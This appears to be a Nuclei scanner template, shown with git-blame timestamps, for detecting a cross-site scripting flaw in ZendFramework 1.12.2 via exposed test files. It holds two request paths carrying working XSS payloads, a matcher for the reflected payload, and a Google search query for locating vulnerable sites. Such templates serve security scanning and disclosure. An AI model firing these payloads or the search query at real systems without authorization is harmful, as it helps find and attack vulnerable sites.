2022-12-06 08:13:46 +00:00
|
|
|
id: zend-v1-xss
|
|
|
|
|
|
|
|
info:
|
|
|
|
name: ZendFramework 1.12.2 - Cross-Site Scripting
|
|
|
|
author: c3l3si4n
|
|
|
|
severity: medium
|
2022-12-07 13:52:26 +00:00
|
|
|
description: |
|
|
|
|
ZendFramework of versions <=1.12.2 contain a cross-site scripting vulnerability via an arbitrarily supplied parameter.
|
2022-12-06 08:13:46 +00:00
|
|
|
reference:
|
|
|
|
- https://twitter.com/c3l3si4n/status/1600035722148212737
|
2022-12-07 13:52:26 +00:00
|
|
|
metadata:
|
2023-04-28 08:11:21 +00:00
|
|
|
max-request: 2
|
2022-12-07 13:52:26 +00:00
|
|
|
verified: true
|
2023-01-23 22:14:23 +00:00
|
|
|
google-query: inurl:"/tests/Zend/Http/"
|
2022-12-06 08:13:46 +00:00
|
|
|
tags: zend,zendframework,xss
|
|
|
|
|
2023-04-27 04:28:59 +00:00
|
|
|
http:
|
2022-12-06 08:13:46 +00:00
|
|
|
- method: GET
|
|
|
|
path:
|
2022-12-07 13:52:26 +00:00
|
|
|
- "{{BaseURL}}/vendor/diablomedia/zendframework1-http/tests/Zend/Http/Client/_files/testRedirections.php?redirection=3¶m=<img/src=x%20onerror=alert(1)>"
|
|
|
|
- "{{BaseURL}}/tests/Zend/Http/Client/_files/testRedirections.php?redirection=3¶m=<img/src=x%20onerror=alert(document.domain)>"
|
2022-12-06 08:13:46 +00:00
|
|
|
|
2022-12-07 13:52:26 +00:00
|
|
|
stop-at-first-match: true
|
2022-12-06 08:13:46 +00:00
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: word
|
|
|
|
part: body
|
|
|
|
words:
|
2022-12-07 12:53:56 +00:00
|
|
|
- '"redirection"]'
|
|
|
|
- '"param"'
|
|
|
|
- '<img/src=x onerror=alert(document.domain)'
|
2022-12-06 08:13:46 +00:00
|
|
|
condition: and
|
|
|
|
|
|
|
|
- type: word
|
|
|
|
part: header
|
|
|
|
words:
|
2022-12-07 13:52:26 +00:00
|
|
|
- text/html
|
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|